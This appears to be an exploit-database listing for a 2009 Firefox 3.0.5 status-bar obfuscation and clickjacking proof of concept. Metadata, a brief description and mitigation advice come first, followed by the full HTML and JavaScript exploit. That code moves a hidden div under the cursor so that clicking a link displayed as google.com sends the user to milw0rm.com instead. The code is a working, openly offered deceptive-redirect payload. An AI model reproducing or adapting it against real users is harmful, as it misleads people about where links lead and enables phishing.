header-logo
Suggest Exploit
vendor:
Firefox
by:
MrDoug
3.3
CVSS
MEDIUM
Clickjacking
N/A
CWE
Product Name: Firefox
Affected Version From: 3.0.5
Affected Version To: 3.0.5
Patch Exists: NO
Related CWE: N/A
CPE: a:mozilla:firefox:3.0.5
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

Firefox 3.0.5 Status Bar Obfuscation / Clickjacking

This exploit uses the Firefox 3.0.5 Status Bar Obfuscation technique to redirect users to milw0rm.com when they click on a link to google.com. The exploit uses a div element with a mouseover event to redirect the user to milw0rm.com. The div element is positioned at the exact coordinates of the mouse pointer when the user clicks on the link.

Mitigation:

Users should be aware of the potential for clickjacking attacks and should be cautious when clicking on links. Additionally, web developers should use the X-Frame-Options header to prevent clickjacking attacks.
Source

Exploit-DB raw data:

Firefox 3.0.5 Status Bar Obfuscation / Clickjacking
===========================================

<html>
<body>
<div id="mydiv"
onmouseover="document.location='http://www.milw0rm.com';"
style="position:absolute;width:2px;height:2px;background:#FFFFFF;border:0px"></div>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('mydiv').style.left=mouseX-1;
document.getElementById('mydiv').style.top=mouseY-1;
}
</script>
<center>
<br>
<font style="font-family:arial;font-size:32px">Status Bar Obfuscation
/ Clickjacking</font><br>
<font style="font-family:arial;font-size:24px">By MrDoug</font><br>
<br>
<hr size="3" width="500" color="#000000">
<br>
<font style="font-family:arial;font-size:20px">Click the VALID link to
google below to visit milw0rm.com</font><br>
<br>
<a href="http://www.google.com" onclick="updatebox(event)"><font
style="font-family:arial;font-size:32px">http://www.google.com</font></a><br>
<br>
<hr size="3" width="500" color="#000000">
<br>
<font style="font-family:arial;font-size:16px">Greetz to Slappywag</font><br>
</center>
<div style="position:absolute;bottom:0;">
<font style="font-family:arial;font-size:32px">Note this...<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;V
</font>
</div>
</body>
</html>

===========================================
MrDoug
mrdoug13[at]gmail[dot]com

# milw0rm.com [2009-01-21]